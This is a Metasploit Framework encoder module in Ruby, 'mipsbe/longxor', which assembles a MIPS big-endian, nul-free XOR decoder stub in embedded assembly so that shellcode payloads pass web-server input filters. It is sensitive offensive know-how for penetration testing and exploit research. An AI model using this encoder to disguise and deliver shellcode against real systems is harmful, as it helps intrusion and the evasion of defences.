metasploit-framework/modules/encoders/mipsbe/longxor.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasm'
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class MetasploitModule < Msf::Encoder::Xor
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def initialize
super(
'Name' => 'XOR Encoder',
'Description' => %q{
Mips Web server exploit friendly xor encoder
},
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'Author' => 'Julien Tinnes <julien[at]cr0.org>',
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'Arch' => ARCH_MIPSBE,
'License' => MSF_LICENSE,
'Decoder' =>
{
'KeySize' => 4,
'BlockSize' => 4,
'KeyPack' => 'N',
})
end
#
# Returns the decoder stub that is adjusted for the size of the buffer
# being encoded.
#
def decoder_stub(state)
# add one xor operation for the key (see comment below)
number_of_passes=state.buf.length/4+1
raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 10240
raise EncodingError.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0
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# 16-bits not (again, see below)
reg_14 = (number_of_passes+1)^0xFFFF
decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<EOS).encoded.data
;
; MIPS nul-free xor decoder
;
; (C) 2006 Julien TINNES
; <julien at cr0.org>
;
; The first four bytes in encoded shellcode must be the xor key
; This means that you have to put the xor key right after
; this xor decoder
; This key will be considered part of the encoded shellcode
; by this decoder and will be xored, thus becoming 4NULs, meaning nop
;
; This is Linux-only because I use the cacheflush system call
;
; You can use shellforge to assemble this, but be sure to discard all
; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c)
;
; change 2 bytes in the first instruction's opcode with the number of passes
; the number of passes is the number of xor operations to apply, which should be
; 1 (for the key) + the number of 4-bytes words you have in your shellcode
; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free)
;.text
;.align 2
;.globl main
;.ent main
;.type main,@function
main:
li macro reg, imm
; lui reg, ((imm) >> 16) & 0ffffh
; ori reg, reg, (imm) & 0ffffh
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addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff
endm
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li( $14, #{reg_14}) ; 4 passes
nor $14, $14, $0 ; put number of passes in $14
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li( $11,-73) ; addend to calculated PC is 73
;.set noreorder
next:
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bltzal $8, next
;.set reorder
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slti $8, $0, 0x8282
nor $11, $11, $0 ; addend in $9
addu $25, $31, $11 ; $25 points to encoded shellcode +4
; addu $16, $31, $11 ; $16 too (enable if you want to pass correct parameters to cacheflush
; lui $2, 0xDDDD ; first part of the xor (old method)
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slti $23, $0, 0x8282 ; store 0 in $23 (our counter)
; ori $17, $2, 0xDDDD ; second part of the xor (old method)
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lw $17, -4($25) ; load xor key in $17
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li( $13, -5)
nor $13, $13, $0 ; 4 in $13
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addi $15, $13, -3 ; 1 in $15
loop:
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lw $8, -4($25)
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addu $23, $23, $15 ; increment counter
xor $3, $8, $17
sltu $30, $23, $14 ; enough loops?
sw $3, -4($25)
addi $6, $13, -1 ; 3 in $6 (for cacheflush)
bne $0, $30, loop
addu $25, $25, $13 ; next instruction to decode :)
; addiu $4, $16, -4 ; not checked by Linux
; li $5,40 ; not checked by Linux
; li $6,3 ; $6 is set above
; .set noreorder
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li( $2, 4147) ; cacheflush
;.ascii "\\x01JT\\x0c" ; nul-free syscall
syscall 0x52950
; .set reorder
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; write last decoder opcode and decoded shellcode
; li $4,1 ; stdout
; addi $5, $16, -8
; li $6,40 ; how much to write
; .set noreorder
; li $2, 4004 ; write
; syscall
; .set reorder
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nop ; encoded shellcoded must be here (xor key right here ;)
; $t9 (aka $25) points here
EOS
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# put the key at the end of the decoder
state.decoder_key_offset = decoder.length - 4
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return decoder
end
end